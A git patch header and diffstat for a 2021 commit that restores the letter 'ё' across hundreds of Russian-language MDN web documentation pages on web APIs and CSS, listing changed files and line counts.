From 841aae260382e2bf5ebb44d765d8c7301d27caab Mon Sep 17 00:00:00 2001 From: Alexey Istomin Date: Sat, 20 Mar 2021 18:37:44 +0300 Subject: Restore "ё" letter in Russian translation (#239) MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit * docs(ru): restore ё letter * docs(ru): resolve conflicts * refactor(idea): remove ide folder --- .../accessibility/aria/aria_techniques/index.html | 2 +- .../index.html | 4 +- .../using_the_aria-labelledby_attribute/index.html | 2 +- files/ru/web/accessibility/aria/index.html | 8 +- .../aria/roles/checkbox_role/index.html | 12 +-- files/ru/web/accessibility/index.html | 2 +- .../index.html | 16 ++-- .../perceivable/color_contrast/index.html | 4 +- files/ru/web/api/abortcontroller/index.html | 10 +-- files/ru/web/api/abortsignal/index.html | 2 +- files/ru/web/api/abstractworker/index.html | 2 +- files/ru/web/api/ambient_light_events/index.html | 10 +-- .../analysernode/getbytefrequencydata/index.html | 2 +- files/ru/web/api/angle_instanced_arrays/index.html | 4 +- files/ru/web/api/animation/index.html | 24 +++--- files/ru/web/api/attr/index.html | 10 +-- files/ru/web/api/audiobuffer/index.html | 6 +- .../createmediaelementsource/index.html | 4 +- files/ru/web/api/audiocontext/index.html | 2 +- files/ru/web/api/audionode/index.html | 6 +- .../web/api/audioparam/setvalueattime/index.html | 2 +- .../api/baseaudiocontext/createpanner/index.html | 4 +- files/ru/web/api/beacon_api/index.html | 8 +- .../ru/web/api/beforeinstallpromptevent/index.html | 2 +- files/ru/web/api/blob/blob/index.html | 2 +- files/ru/web/api/blob/index.html | 4 +- files/ru/web/api/blob/slice/index.html | 4 +- .../web/api/bluetoothremotegattserver/index.html | 2 +- files/ru/web/api/body/arraybuffer/index.html | 6 +- files/ru/web/api/body/json/index.html | 6 +- files/ru/web/api/broadcastchannel/index.html | 4 +- .../api/broadcastchannel/postmessage/index.html | 2 +- files/ru/web/api/cache/add/index.html | 2 +- files/ru/web/api/cache/addall/index.html | 2 +- files/ru/web/api/cache/delete/index.html | 2 +- files/ru/web/api/cache/index.html | 16 ++-- files/ru/web/api/cache/keys/index.html | 4 +- files/ru/web/api/cache/match/index.html | 4 +- files/ru/web/api/cachestorage/index.html | 18 ++--- .../api/canvas_api/a_basic_ray-caster/index.html | 10 +-- .../tutorial/advanced_animations/index.html | 2 +- .../tutorial/applying_styles_and_colors/index.html | 46 +++++------ .../api/canvas_api/tutorial/basic_usage/index.html | 12 +-- .../api/canvas_api/tutorial/compositing/index.html | 14 ++-- .../canvas_api/tutorial/drawing_shapes/index.html | 36 ++++----- .../canvas_api/tutorial/drawing_text/index.html | 2 +- files/ru/web/api/canvas_api/tutorial/index.html | 4 +- .../tutorial/optimizing_canvas/index.html | 8 +- .../pixel_manipulation_with_canvas/index.html | 16 ++-- .../canvas_api/tutorial/transformations/index.html | 8 +- .../canvas_api/tutorial/using_images/index.html | 22 +++--- .../api/canvascapturemediastreamtrack/index.html | 2 +- files/ru/web/api/canvasgradient/index.html | 2 +- .../api/canvasrenderingcontext2d/arc/index.html | 2 +- .../api/canvasrenderingcontext2d/arcto/index.html | 6 +- .../beziercurveto/index.html | 2 +- .../canvasrenderingcontext2d/clearrect/index.html | 2 +- .../canvasrenderingcontext2d/closepath/index.html | 4 +- .../createlineargradient/index.html | 6 +- .../canvasrenderingcontext2d/drawimage/index.html | 16 ++-- .../canvasrenderingcontext2d/ellipse/index.html | 2 +- .../api/canvasrenderingcontext2d/fill/index.html | 8 +- .../canvasrenderingcontext2d/fillstyle/index.html | 4 +- .../canvasrenderingcontext2d/filltext/index.html | 2 +- .../api/canvasrenderingcontext2d/font/index.html | 2 +- .../getimagedata/index.html | 8 +- .../getlinedash/index.html | 2 +- .../globalalpha/index.html | 2 +- .../ru/web/api/canvasrenderingcontext2d/index.html | 36 ++++----- .../linedashoffset/index.html | 6 +- .../canvasrenderingcontext2d/linejoin/index.html | 2 +- .../api/canvasrenderingcontext2d/lineto/index.html | 4 +- .../canvasrenderingcontext2d/linewidth/index.html | 2 +- .../api/canvasrenderingcontext2d/rect/index.html | 2 +- .../canvasrenderingcontext2d/restore/index.html | 2 +- .../api/canvasrenderingcontext2d/rotate/index.html | 4 +- .../api/canvasrenderingcontext2d/stroke/index.html | 4 +- .../strokestyle/index.html | 2 +- .../canvasrenderingcontext2d/stroketext/index.html | 2 +- .../canvasrenderingcontext2d/textalign/index.html | 2 +- files/ru/web/api/cdatasection/index.html | 2 +- files/ru/web/api/characterdata/index.html | 2 +- files/ru/web/api/childnode/index.html | 2 +- files/ru/web/api/childnode/remove/index.html | 4 +- files/ru/web/api/clients/index.html | 2 +- files/ru/web/api/clients/openwindow/index.html | 4 +- files/ru/web/api/clipboardevent/index.html | 2 +- files/ru/web/api/comment/index.html | 2 +- files/ru/web/api/console/count/index.html | 6 +- files/ru/web/api/console/countreset/index.html | 20 ++--- files/ru/web/api/console/group/index.html | 6 +- files/ru/web/api/console/index.html | 6 +- files/ru/web/api/console/time/index.html | 2 +- files/ru/web/api/console/timelog/index.html | 2 +- files/ru/web/api/console/trace/index.html | 2 +- .../web/api/credential_management_api/index.html | 16 ++-- files/ru/web/api/css_object_model/index.html | 2 +- .../managing_screen_orientation/index.html | 6 +- files/ru/web/api/cssrule/index.html | 2 +- files/ru/web/api/cssstyledeclaration/index.html | 6 +- files/ru/web/api/datatransfer/index.html | 8 +- files/ru/web/api/document/activeelement/index.html | 2 +- files/ru/web/api/document/alinkcolor/index.html | 2 +- files/ru/web/api/document/cookie/index.html | 4 +- .../ru/web/api/document/createattribute/index.html | 2 +- .../api/document/createdocumentfragment/index.html | 2 +- files/ru/web/api/document/createelement/index.html | 12 +-- .../ru/web/api/document/createtextnode/index.html | 2 +- files/ru/web/api/document/document/index.html | 2 +- files/ru/web/api/document/execcommand/index.html | 20 ++--- .../api/document/getelementsbyclassname/index.html | 8 +- .../api/document/getelementsbytagname/index.html | 2 +- files/ru/web/api/document/head/index.html | 2 +- files/ru/web/api/document/importnode/index.html | 4 +- files/ru/web/api/document/index.html | 2 +- .../ru/web/api/document/keypress_event/index.html | 2 +- files/ru/web/api/document/queryselector/index.html | 4 +- files/ru/web/api/document/readystate/index.html | 6 +- files/ru/web/api/document/referrer/index.html | 4 +- files/ru/web/api/document/scroll_event/index.html | 4 +- .../api/document_object_model/events/index.html | 8 +- .../api/document_object_model/examples/index.html | 2 +- .../document_object_model/introduction/index.html | 8 +- .../index.html | 6 +- files/ru/web/api/documentfragment/index.html | 4 +- files/ru/web/api/domhighrestimestamp/index.html | 2 +- .../createhtmldocument/index.html | 4 +- files/ru/web/api/domimplementation/index.html | 12 +-- files/ru/web/api/domparser/index.html | 2 +- files/ru/web/api/domtokenlist/replace/index.html | 2 +- files/ru/web/api/element/attachshadow/index.html | 6 +- files/ru/web/api/element/blur_event/index.html | 2 +- files/ru/web/api/element/classlist/index.html | 2 +- files/ru/web/api/element/clientleft/index.html | 6 +- files/ru/web/api/element/clienttop/index.html | 2 +- files/ru/web/api/element/closest/index.html | 2 +- files/ru/web/api/element/error_event/index.html | 2 +- .../api/element/getboundingclientrect/index.html | 4 +- .../api/element/getelementsbyclassname/index.html | 4 +- .../api/element/getelementsbytagname/index.html | 6 +- files/ru/web/api/element/hasattribute/index.html | 2 +- files/ru/web/api/element/index.html | 22 +++--- files/ru/web/api/element/innerhtml/index.html | 8 +- .../web/api/element/insertadjacenttext/index.html | 2 +- .../ru/web/api/element/mouseenter_event/index.html | 2 +- .../ru/web/api/element/mouseleave_event/index.html | 2 +- .../ru/web/api/element/removeattribute/index.html | 2 +- files/ru/web/api/element/scrollheight/index.html | 2 +- files/ru/web/api/element/scrolltop/index.html | 2 +- files/ru/web/api/element/setattribute/index.html | 6 +- files/ru/web/api/element/slot/index.html | 2 +- .../web/api/elementcssinlinestyle/style/index.html | 6 +- files/ru/web/api/event/event/index.html | 2 +- files/ru/web/api/event/index.html | 4 +- files/ru/web/api/event/type/index.html | 2 +- .../api/eventtarget/addeventlistener/index.html | 16 ++-- .../api/eventtarget/removeeventlistener/index.html | 4 +- .../web/api/extendableevent/waituntil/index.html | 2 +- .../fetch_api/cross-global_fetch_usage/index.html | 6 +- files/ru/web/api/fetch_api/index.html | 6 +- files/ru/web/api/fetch_api/using_fetch/index.html | 12 +-- files/ru/web/api/fetchevent/index.html | 2 +- files/ru/web/api/file/filename/index.html | 4 +- .../using_files_from_web_applications/index.html | 26 +++---- .../api/file_and_directory_entries_api/index.html | 12 +-- .../introduction/index.html | 6 +- files/ru/web/api/filereader/index.html | 8 +- .../api/filereader/readasarraybuffer/index.html | 2 +- .../api/filereader/readasbinarystring/index.html | 4 +- files/ru/web/api/fontface/index.html | 2 +- files/ru/web/api/formdata/append/index.html | 8 +- files/ru/web/api/formdata/delete/index.html | 2 +- files/ru/web/api/formdata/formdata/index.html | 4 +- files/ru/web/api/formdata/get/index.html | 4 +- files/ru/web/api/formdata/getall/index.html | 2 +- files/ru/web/api/formdata/index.html | 4 +- files/ru/web/api/formdata/set/index.html | 4 +- files/ru/web/api/gamepad/buttons/index.html | 2 +- files/ru/web/api/gamepad/connected/index.html | 4 +- files/ru/web/api/gamepad/id/index.html | 6 +- files/ru/web/api/gamepad/index.html | 6 +- files/ru/web/api/gamepad/index/index.html | 4 +- files/ru/web/api/gamepad_api/index.html | 10 +-- .../gamepad_api/using_the_gamepad_api/index.html | 6 +- files/ru/web/api/gamepadbutton/index.html | 4 +- files/ru/web/api/gamepadevent/index.html | 2 +- files/ru/web/api/geolocation_api/index.html | 2 +- .../using_the_geolocation_api/index.html | 4 +- files/ru/web/api/geolocationcoordinates/index.html | 2 +- .../ru/web/api/geolocationpositionerror/index.html | 2 +- .../onanimationcancel/index.html | 4 +- .../web/api/globaleventhandlers/onerror/index.html | 2 +- .../api/globaleventhandlers/onloadend/index.html | 2 +- files/ru/web/api/gyroscope/index.html | 2 +- files/ru/web/api/history/go/index.html | 8 +- files/ru/web/api/history/index.html | 8 +- files/ru/web/api/history/state/index.html | 4 +- files/ru/web/api/history_api/index.html | 4 +- .../working_with_the_history_api/index.html | 2 +- .../drag_operations/index.html | 26 +++---- files/ru/web/api/html_drag_and_drop_api/index.html | 8 +- files/ru/web/api/htmlanchorelement/hash/index.html | 2 +- .../web/api/htmlanchorelement/hostname/index.html | 2 +- files/ru/web/api/htmlanchorelement/href/index.html | 2 +- files/ru/web/api/htmlanchorelement/index.html | 6 +- .../ru/web/api/htmlanchorelement/origin/index.html | 2 +- .../web/api/htmlanchorelement/password/index.html | 2 +- .../web/api/htmlanchorelement/pathname/index.html | 2 +- files/ru/web/api/htmlanchorelement/port/index.html | 2 +- .../web/api/htmlanchorelement/protocol/index.html | 2 +- .../ru/web/api/htmlanchorelement/search/index.html | 2 +- .../web/api/htmlanchorelement/tostring/index.html | 2 +- .../web/api/htmlanchorelement/username/index.html | 2 +- files/ru/web/api/htmlareaelement/index.html | 2 +- files/ru/web/api/htmlaudioelement/audio/index.html | 4 +- files/ru/web/api/htmlaudioelement/index.html | 2 +- files/ru/web/api/htmlbasefontelement/index.html | 4 +- files/ru/web/api/htmlbodyelement/index.html | 2 +- files/ru/web/api/htmlbuttonelement/index.html | 6 +- .../api/htmlcanvaselement/capturestream/index.html | 2 +- .../api/htmlcanvaselement/getcontext/index.html | 6 +- .../ru/web/api/htmlcanvaselement/toblob/index.html | 4 +- files/ru/web/api/htmldialogelement/index.html | 2 +- files/ru/web/api/htmlelement/accesskey/index.html | 4 +- files/ru/web/api/htmlelement/hidden/index.html | 2 +- .../ru/web/api/htmlelement/offsetheight/index.html | 2 +- .../api/htmlelement/transitionend_event/index.html | 8 +- files/ru/web/api/htmlimageelement/image/index.html | 2 +- .../htmlinputelement/setselectionrange/index.html | 6 +- .../web/api/htmlmediaelement/duration/index.html | 2 +- files/ru/web/api/htmlmediaelement/index.html | 18 ++--- .../api/htmlmediaelement/seeking_event/index.html | 2 +- .../api/htmlorforeignelement/dataset/index.html | 4 +- .../web/api/htmlorforeignelement/nonce/index.html | 2 +- files/ru/web/api/htmlscriptelement/index.html | 2 +- files/ru/web/api/htmltableelement/index.html | 6 +- .../basic_concepts_behind_indexeddb/index.html | 4 +- .../index.html | 6 +- files/ru/web/api/indexeddb_api/index.html | 16 ++-- .../api/indexeddb_api/using_indexeddb/index.html | 20 ++--- files/ru/web/api/inputevent/index.html | 2 +- .../web/api/intersection_observer_api/index.html | 10 +-- .../timing_element_visibility/index.html | 26 +++---- files/ru/web/api/intersectionobserver/index.html | 2 +- files/ru/web/api/keyboardevent/altkey/index.html | 2 +- files/ru/web/api/keyboardevent/index.html | 2 +- .../api/keyboardevent/key/key_values/index.html | 60 +++++++-------- files/ru/web/api/localmediastream/index.html | 2 +- files/ru/web/api/location/index.html | 2 +- files/ru/web/api/media_session_api/index.html | 4 +- .../web/api/mediadevices/getusermedia/index.html | 24 +++--- files/ru/web/api/mediadevices/index.html | 4 +- files/ru/web/api/mediaerror/code/index.html | 4 +- files/ru/web/api/mediarecorder/index.html | 20 ++--- .../web/api/mediarecorder/mediarecorder/index.html | 4 +- .../api/mediarecorder/ondataavailable/index.html | 2 +- files/ru/web/api/mediasource/index.html | 8 +- .../web/api/mediastream_recording_api/index.html | 4 +- .../recording_a_media_element/index.html | 2 +- .../using_the_mediastream_recording_api/index.html | 14 ++-- files/ru/web/api/mediastreamtrack/index.html | 2 +- .../echocancellation/index.html | 2 +- files/ru/web/api/mouseevent/index.html | 2 +- files/ru/web/api/mouseevent/screenx/index.html | 2 +- files/ru/web/api/mutationobserver/index.html | 6 +- files/ru/web/api/namednodemap/index.html | 10 +-- files/ru/web/api/navigation_timing_api/index.html | 2 +- files/ru/web/api/navigator/battery/index.html | 2 +- .../ru/web/api/navigator/cookieenabled/index.html | 2 +- files/ru/web/api/navigator/geolocation/index.html | 2 +- files/ru/web/api/navigator/getgamepads/index.html | 2 +- .../ru/web/api/navigator/getvrdisplays/index.html | 2 +- files/ru/web/api/navigator/index.html | 6 +- files/ru/web/api/navigator/mediadevices/index.html | 2 +- .../navigator/registerprotocolhandler/index.html | 2 +- files/ru/web/api/navigator/vibrate/index.html | 4 +- files/ru/web/api/navigatorid/platform/index.html | 2 +- files/ru/web/api/navigatorid/product/index.html | 6 +- .../ru/web/api/navigatorid/taintenabled/index.html | 2 +- files/ru/web/api/navigatorid/useragent/index.html | 2 +- .../web/api/navigatorlanguage/language/index.html | 2 +- .../web/api/navigatorlanguage/languages/index.html | 2 +- files/ru/web/api/navigatoronline/online/index.html | 10 +-- files/ru/web/api/navigatorplugins/index.html | 2 +- .../api/navigatorplugins/javaenabled/index.html | 4 +- files/ru/web/api/node/appendchild/index.html | 2 +- files/ru/web/api/node/clonenode/index.html | 6 +- .../api/node/comparedocumentposition/index.html | 2 +- files/ru/web/api/node/getuserdata/index.html | 2 +- files/ru/web/api/node/index.html | 18 ++--- files/ru/web/api/node/insertbefore/index.html | 10 +-- .../ru/web/api/node/isdefaultnamespace/index.html | 4 +- files/ru/web/api/node/isequalnode/index.html | 2 +- files/ru/web/api/node/issupported/index.html | 4 +- files/ru/web/api/node/localname/index.html | 2 +- .../ru/web/api/node/lookupnamespaceuri/index.html | 4 +- files/ru/web/api/node/lookupprefix/index.html | 4 +- files/ru/web/api/node/namespaceuri/index.html | 12 +-- files/ru/web/api/node/nextsibling/index.html | 2 +- files/ru/web/api/node/nodevalue/index.html | 2 +- files/ru/web/api/node/parentnode/index.html | 4 +- files/ru/web/api/node/prefix/index.html | 2 +- files/ru/web/api/node/removechild/index.html | 8 +- files/ru/web/api/node/replacechild/index.html | 12 +-- files/ru/web/api/node/textcontent/index.html | 4 +- files/ru/web/api/nodelist/index.html | 2 +- files/ru/web/api/notification/index.html | 14 ++-- files/ru/web/api/notifications_api/index.html | 4 +- files/ru/web/api/page_visibility_api/index.html | 4 +- files/ru/web/api/pannernode/index.html | 16 ++-- files/ru/web/api/parentnode/prepend/index.html | 2 +- files/ru/web/api/performance/index.html | 6 +- files/ru/web/api/performance/now/index.html | 2 +- files/ru/web/api/pointer_lock_api/index.html | 4 +- files/ru/web/api/positionoptions/index.html | 2 +- files/ru/web/api/push_api/index.html | 6 +- files/ru/web/api/pushmanager/subscribe/index.html | 4 +- files/ru/web/api/range/surroundcontents/index.html | 2 +- files/ru/web/api/response/index.html | 2 +- .../cantrickleicecandidates/index.html | 8 +- .../currentlocaldescription/index.html | 4 +- .../currentremotedescription/index.html | 4 +- .../icecandidate_event/index.html | 6 +- files/ru/web/api/rtcpeerconnection/index.html | 46 +++++------ .../rtcpeerconnection/rtcpeerconnection/index.html | 2 +- .../using_screen_capture/index.html | 14 ++-- files/ru/web/api/selection/tostring/index.html | 2 +- .../using_server-sent_events/index.html | 10 +-- files/ru/web/api/service_worker_api/index.html | 12 +-- .../using_service_workers/index.html | 38 ++++----- .../ru/web/api/serviceworker/scripturl/index.html | 2 +- .../api/serviceworkercontainer/register/index.html | 8 +- .../pushmanager/index.html | 2 +- .../shownotification/index.html | 2 +- files/ru/web/api/serviceworkerstate/index.html | 2 +- files/ru/web/api/sharedworker/index.html | 2 +- files/ru/web/api/speechgrammar/index.html | 2 +- files/ru/web/api/speechrecognition/index.html | 14 ++-- .../ru/web/api/speechsynthesisutterance/index.html | 6 +- files/ru/web/api/storage/clear/index.html | 4 +- files/ru/web/api/storage/getitem/index.html | 4 +- files/ru/web/api/storage/key/index.html | 2 +- files/ru/web/api/storage/length/index.html | 2 +- files/ru/web/api/storage/removeitem/index.html | 4 +- files/ru/web/api/storage/setitem/index.html | 4 +- files/ru/web/api/storagemanager/index.html | 2 +- files/ru/web/api/streams_api/index.html | 12 +-- files/ru/web/api/svgaelement/index.html | 2 +- files/ru/web/api/svgaelement/target/index.html | 2 +- files/ru/web/api/svggraphicselement/index.html | 2 +- files/ru/web/api/svgtextcontentelement/index.html | 4 +- files/ru/web/api/svgtextelement/index.html | 4 +- files/ru/web/api/text/index.html | 4 +- files/ru/web/api/touch_events/index.html | 16 ++-- files/ru/web/api/touchevent/index.html | 4 +- files/ru/web/api/url/createobjecturl/index.html | 6 +- files/ru/web/api/usb/requestdevice/index.html | 2 +- .../ru/web/api/vrdisplay/requestpresent/index.html | 4 +- files/ru/web/api/vrdisplayevent/index.html | 2 +- files/ru/web/api/vrframedata/index.html | 2 +- files/ru/web/api/web_animations_api/index.html | 6 +- .../using_the_web_animations_api/index.html | 56 +++++++------- files/ru/web/api/web_audio_api/index.html | 6 +- .../visualizations_with_web_audio_api/index.html | 22 +++--- files/ru/web/api/web_authentication_api/index.html | 14 ++-- files/ru/web/api/web_speech_api/index.html | 2 +- .../using_the_web_speech_api/index.html | 46 +++++------ files/ru/web/api/web_storage_api/index.html | 14 ++-- .../using_the_web_storage_api/index.html | 16 ++-- .../structured_clone_algorithm/index.html | 6 +- .../web_workers_api/using_web_workers/index.html | 46 +++++------ files/ru/web/api/webgl_api/index.html | 6 +- .../index.html | 24 +++--- .../animating_objects_with_webgl/index.html | 2 +- .../creating_3d_objects_using_webgl/index.html | 4 +- .../tutorial/getting_started_with_webgl/index.html | 24 +++--- files/ru/web/api/webgl_api/tutorial/index.html | 4 +- .../tutorial/lighting_in_webgl/index.html | 16 ++-- .../index.html | 12 +-- .../tutorial/using_textures_in_webgl/index.html | 16 ++-- .../api/webgl_api/webgl_best_practices/index.html | 8 +- .../webglrenderingcontext/activetexture/index.html | 4 +- .../webglrenderingcontext/bindtexture/index.html | 4 +- .../webglrenderingcontext/compileshader/index.html | 2 +- .../api/webglrenderingcontext/enable/index.html | 2 +- .../getshaderinfolog/index.html | 2 +- files/ru/web/api/webglrenderingcontext/index.html | 10 +-- .../webglrenderingcontext/shadersource/index.html | 2 +- .../api/webglrenderingcontext/uniform/index.html | 2 +- files/ru/web/api/webrtc_api/adapter.js/index.html | 2 +- files/ru/web/api/webrtc_api/index.html | 18 ++--- .../web/api/webrtc_api/session_lifetime/index.html | 20 ++--- .../signaling_and_video_calling/index.html | 10 +-- .../simple_rtcdatachannel_sample/index.html | 2 +- .../api/webrtc_api/taking_still_photos/index.html | 16 ++-- .../api/webrtc_api/using_data_channels/index.html | 20 ++--- files/ru/web/api/websocket/index.html | 10 +-- files/ru/web/api/websockets_api/index.html | 2 +- .../index.html | 2 +- files/ru/web/api/webvr_api/index.html | 8 +- .../api/webvr_api/using_the_webvr_api/index.html | 2 +- files/ru/web/api/webvtt_api/index.html | 6 +- files/ru/web/api/webxr_device_api/index.html | 2 +- .../web/api/window/beforeunload_event/index.html | 2 +- files/ru/web/api/window/close/index.html | 2 +- files/ru/web/api/window/closed/index.html | 2 +- files/ru/web/api/window/console/index.html | 2 +- files/ru/web/api/window/crypto/index.html | 2 +- files/ru/web/api/window/frameelement/index.html | 2 +- .../ru/web/api/window/getcomputedstyle/index.html | 6 +- files/ru/web/api/window/getselection/index.html | 6 +- files/ru/web/api/window/history/index.html | 6 +- files/ru/web/api/window/index.html | 48 ++++++------ files/ru/web/api/window/innerheight/index.html | 2 +- files/ru/web/api/window/localstorage/index.html | 6 +- files/ru/web/api/window/location/index.html | 4 +- .../api/window/mozanimationstarttime/index.html | 2 +- files/ru/web/api/window/pageyoffset/index.html | 4 +- files/ru/web/api/window/popstate_event/index.html | 2 +- files/ru/web/api/window/postmessage/index.html | 4 +- files/ru/web/api/window/prompt/index.html | 4 +- .../api/window/requestanimationframe/index.html | 2 +- files/ru/web/api/window/self/index.html | 2 +- files/ru/web/api/window/sessionstorage/index.html | 4 +- .../api/window/unhandledrejection_event/index.html | 4 +- .../api/windoweventhandlers/onpopstate/index.html | 2 +- .../api/windoworworkerglobalscope/atob/index.html | 2 +- .../api/windoworworkerglobalscope/btoa/index.html | 2 +- .../cleartimeout/index.html | 6 +- .../api/windoworworkerglobalscope/fetch/index.html | 6 +- .../web/api/windoworworkerglobalscope/index.html | 2 +- .../setinterval/index.html | 2 +- .../settimeout/index.html | 4 +- files/ru/web/api/worker/onmessage/index.html | 2 +- files/ru/web/api/worker/postmessage/index.html | 8 +- files/ru/web/api/worker/terminate/index.html | 4 +- files/ru/web/api/worker/worker/index.html | 2 +- .../api/workerglobalscope/importscripts/index.html | 4 +- files/ru/web/api/xmlhttprequest/index.html | 32 ++++---- .../ru/web/api/xmlhttprequest/response/index.html | 10 +-- .../web/api/xmlhttprequest/responsetext/index.html | 4 +- .../web/api/xmlhttprequest/responsetype/index.html | 2 +- .../web/api/xmlhttprequest/responseurl/index.html | 2 +- files/ru/web/api/xmlhttprequest/send/index.html | 6 +- .../sending_and_receiving_binary_data/index.html | 12 +-- .../xmlhttprequest/using_xmlhttprequest/index.html | 2 +- .../api/xmlhttprequest/xmlhttprequest/index.html | 4 +- files/ru/web/api/xmlserializer/index.html | 2 +- .../css/@counter-style/additive-symbols/index.html | 2 +- .../ru/web/css/@font-face/font-display/index.html | 12 +-- files/ru/web/css/@font-face/index.html | 6 +- files/ru/web/css/@font-feature-values/index.html | 4 +- files/ru/web/css/@media/inverted-colors/index.html | 2 +- files/ru/web/css/@media/orientation/index.html | 2 +- files/ru/web/css/@page/index.html | 4 +- files/ru/web/css/@viewport/index.html | 6 +- files/ru/web/css/_colon_-moz-focusring/index.html | 2 +- .../web/css/_colon_-moz-only-whitespace/index.html | 2 +- files/ru/web/css/_colon_any-link/index.html | 2 +- files/ru/web/css/_colon_default/index.html | 2 +- files/ru/web/css/_colon_dir/index.html | 2 +- files/ru/web/css/_colon_disabled/index.html | 6 +- files/ru/web/css/_colon_enabled/index.html | 2 +- files/ru/web/css/_colon_first-child/index.html | 2 +- files/ru/web/css/_colon_focus-visible/index.html | 2 +- files/ru/web/css/_colon_focus/index.html | 2 +- files/ru/web/css/_colon_fullscreen/index.html | 4 +- files/ru/web/css/_colon_indeterminate/index.html | 4 +- files/ru/web/css/_colon_is/index.html | 4 +- files/ru/web/css/_colon_left/index.html | 2 +- files/ru/web/css/_colon_target/index.html | 4 +- files/ru/web/css/_colon_visited/index.html | 4 +- files/ru/web/css/_colon_where/index.html | 8 +- .../css/_doublecolon_-moz-progress-bar/index.html | 4 +- files/ru/web/css/_doublecolon_slotted/index.html | 10 +-- .../web/css/adjacent_sibling_combinator/index.html | 4 +- files/ru/web/css/align-items/index.html | 8 +- files/ru/web/css/all/index.html | 4 +- files/ru/web/css/angle/index.html | 2 +- files/ru/web/css/animation-delay/index.html | 2 +- files/ru/web/css/animation-direction/index.html | 6 +- files/ru/web/css/animation-duration/index.html | 2 +- files/ru/web/css/animation-fill-mode/index.html | 16 ++-- .../web/css/animation-iteration-count/index.html | 4 +- files/ru/web/css/animation-name/index.html | 4 +- files/ru/web/css/animation-play-state/index.html | 2 +- .../web/css/animation-timing-function/index.html | 2 +- files/ru/web/css/appearance/index.html | 2 +- files/ru/web/css/at-rule/index.html | 10 +-- files/ru/web/css/attribute_selectors/index.html | 10 +-- files/ru/web/css/backdrop-filter/index.html | 4 +- files/ru/web/css/backface-visibility/index.html | 6 +- files/ru/web/css/background-attachment/index.html | 8 +- files/ru/web/css/background-blend-mode/index.html | 2 +- files/ru/web/css/background-clip/index.html | 2 +- files/ru/web/css/background-image/index.html | 6 +- files/ru/web/css/background-position-x/index.html | 4 +- files/ru/web/css/background-position/index.html | 6 +- files/ru/web/css/background-repeat/index.html | 2 +- files/ru/web/css/background-size/index.html | 12 +-- files/ru/web/css/background/index.html | 6 +- files/ru/web/css/block-size/index.html | 6 +- files/ru/web/css/border-image-slice/index.html | 2 +- files/ru/web/css/border-radius/index.html | 6 +- files/ru/web/css/border-width/index.html | 2 +- files/ru/web/css/border/index.html | 2 +- files/ru/web/css/bottom/index.html | 2 +- files/ru/web/css/box-shadow/index.html | 2 +- files/ru/web/css/box-sizing/index.html | 2 +- files/ru/web/css/calc()/index.html | 2 +- files/ru/web/css/class_selectors/index.html | 2 +- files/ru/web/css/clear/index.html | 4 +- files/ru/web/css/clip-path/index.html | 6 +- files/ru/web/css/color_value/index.html | 90 +++++++++++----------- files/ru/web/css/column-count/index.html | 2 +- files/ru/web/css/column-rule-color/index.html | 2 +- files/ru/web/css/column-rule-style/index.html | 2 +- files/ru/web/css/column-rule/index.html | 8 +- files/ru/web/css/column_combinator/index.html | 2 +- files/ru/web/css/containing_block/index.html | 8 +- files/ru/web/css/content/index.html | 16 ++-- .../detecting_css_animation_support/index.html | 6 +- files/ru/web/css/css_animations/tips/index.html | 8 +- .../css_animations/using_css_animations/index.html | 22 +++--- .../using_multiple_backgrounds/index.html | 4 +- .../index.html | 2 +- .../box_alignment_in_flexbox/index.html | 12 +-- files/ru/web/css/css_box_alignment/index.html | 16 ++-- .../introduction_to_the_css_box_model/index.html | 8 +- .../css/css_colors/color_picker_tool/index.html | 2 +- .../using_multi-column_layouts/index.html | 2 +- .../aligning_items_in_a_flex_container/index.html | 4 +- .../backwards_compatibility_of_flexbox/index.html | 6 +- .../basic_concepts_of_flexbox/index.html | 16 ++-- .../mastering_wrapping_of_flex_items/index.html | 12 +-- files/ru/web/css/css_flow_layout/index.html | 6 +- .../intro_to_formatting_contexts/index.html | 6 +- .../basic_concepts_of_grid_layout/index.html | 32 ++++---- .../box_alignment_in_css_grid_layout/index.html | 14 ++-- .../index.html | 20 ++--- .../css_grid_layout/grid_template_areas/index.html | 32 ++++---- files/ru/web/css/css_grid_layout/index.html | 2 +- .../layout_using_named_grid_lines/index.html | 28 +++---- .../line-based_placement_with_css_grid/index.html | 28 +++---- .../index.html | 14 ++-- .../relationship_of_grid_layout/index.html | 34 ++++---- .../ru/web/css/css_grid_layout/subgrid/index.html | 2 +- .../using_css_counters/index.html | 34 ++++---- .../adding_z-index/index.html | 2 +- .../understanding_z_index/index.html | 2 +- .../the_stacking_context/index.html | 12 +-- .../css/css_scroll_snap/basic_concepts/index.html | 2 +- files/ru/web/css/css_selectors/index.html | 6 +- .../using_css_transitions/index.html | 10 +-- files/ru/web/css/cursor/index.html | 2 +- files/ru/web/css/descendant_combinator/index.html | 2 +- files/ru/web/css/display-listitem/index.html | 2 +- files/ru/web/css/display-outside/index.html | 6 +- files/ru/web/css/display/index.html | 8 +- files/ru/web/css/filter/index.html | 2 +- files/ru/web/css/flex-basis/index.html | 8 +- files/ru/web/css/flex-direction/index.html | 4 +- files/ru/web/css/flex-grow/index.html | 2 +- files/ru/web/css/flex-wrap/index.html | 2 +- files/ru/web/css/flex/index.html | 2 +- files/ru/web/css/float/index.html | 2 +- files/ru/web/css/font-family/index.html | 2 +- files/ru/web/css/font-variant-ligatures/index.html | 6 +- files/ru/web/css/font-weight/index.html | 8 +- files/ru/web/css/font/index.html | 2 +- files/ru/web/css/grid-area/index.html | 4 +- files/ru/web/css/grid-auto-flow/index.html | 4 +- files/ru/web/css/grid-row-start/index.html | 2 +- files/ru/web/css/grid-template-areas/index.html | 2 +- files/ru/web/css/grid-template-columns/index.html | 4 +- files/ru/web/css/grid-template-rows/index.html | 2 +- files/ru/web/css/grid/index.html | 6 +- files/ru/web/css/hanging-punctuation/index.html | 4 +- files/ru/web/css/hyphens/index.html | 2 +- files/ru/web/css/image-set()/index.html | 2 +- files/ru/web/css/index.html | 2 +- files/ru/web/css/inherit/index.html | 6 +- files/ru/web/css/initial/index.html | 2 +- files/ru/web/css/inset/index.html | 2 +- files/ru/web/css/integer/index.html | 2 +- files/ru/web/css/isolation/index.html | 4 +- files/ru/web/css/justify-content/index.html | 6 +- files/ru/web/css/justify-items/index.html | 16 ++-- .../breadcrumb_navigation/index.html | 4 +- files/ru/web/css/layout_cookbook/index.html | 4 +- .../layout_cookbook/split_navigation/index.html | 2 +- .../css/layout_cookbook/sticky_footers/index.html | 2 +- files/ru/web/css/line-break/index.html | 2 +- files/ru/web/css/list-style-image/index.html | 2 +- 